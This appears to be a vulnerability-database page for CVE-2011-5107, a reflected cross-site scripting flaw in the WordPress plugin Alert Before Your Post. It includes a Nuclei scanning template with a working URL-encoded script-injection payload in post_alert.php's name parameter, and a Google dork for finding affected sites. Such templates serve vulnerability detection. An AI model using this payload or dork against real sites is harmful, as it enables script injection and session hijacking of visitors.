SecurityContext

CVE-2011-5107: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 4.3
  • Cvss vector: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
  • Epss score: 0.08772
  • Epss percentile: 0.95298
  • Cpe: cpe:2.3:a:wordpress:alert_before_you_post:*:*:*:*:*:*:*:*

Metadata

  • Google-query: inurl:"/wp-content/plugins/alert-before-your-post"
  • Max-request: 2
  • Product: alert_before_you_post
  • Vendor: wordpress

Products

ProductIndexedUrl
wordpress:alert_before_you_postyes/v1/products/wordpress/alert_before_you_post

Labels

  • Name: WordPress Alert Before Your Post - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  • Remediation: Update to the latest version of the plugin where the vulnerability is fixed.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2011-5107
  • Not known: requirements

```yaml

id: CVE-2011-5107

info:

name: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting

author: daffainfo

severity: medium

description: A cross-site scripting vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Update to the latest version of the Alert Before Your Post plugin (0.1.1) or remove the plugin if it is not necessary for the website's functionality.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2011-5107

- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-alert-before-your-post-cross-site-scripting-0-1-1/

- https://exchange.xforce.ibmcloud.com/vulnerabilities/71413

- https://github.com/ARPSyndicate/kenzer-templates

- https://github.com/d4n-sec/d4n-sec.github.io

classification:

cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N

cvss-score: 4.3

cve-id: CVE-2011-5107

cwe-id: CWE-79

epss-score: 0.08772

epss-percentile: 0.95298

cpe: cpe:2.3:a:wordpress:alert_before_you_post:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: wordpress

product: "alert_before_you_post"

google-query: "inurl:\"/wp-content/plugins/alert-before-your-post\""

tags: cve,cve2011,wordpress,xss,wp-plugin,vuln

flow: http(1) && http(2)

http:

- method: GET

path:

- '{{BaseURL}}'

matchers:

- type: word

internal: true

words:

- '/wp-content/plugins/alert-before-your-post/'

- method: GET

path:

- '{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

matchers-condition: and

matchers:

- type: word

part: body

words:

- "</script><script>alert(document.domain)</script>"

- type: word

part: header

words:

- text/html

- type: status

status:

- 200

digest: 4b0a00483046022100fdf6cfd6defaa6e77ba0e91b7fc25cd94dc35e0c282dde8be3db2e900cc266ac0221008be2871c47a0c9a5292acb55eb3d2dfaf3694405ccd7102142f8c148765e934f:922c64590222798bb761d5b6d8e72950

```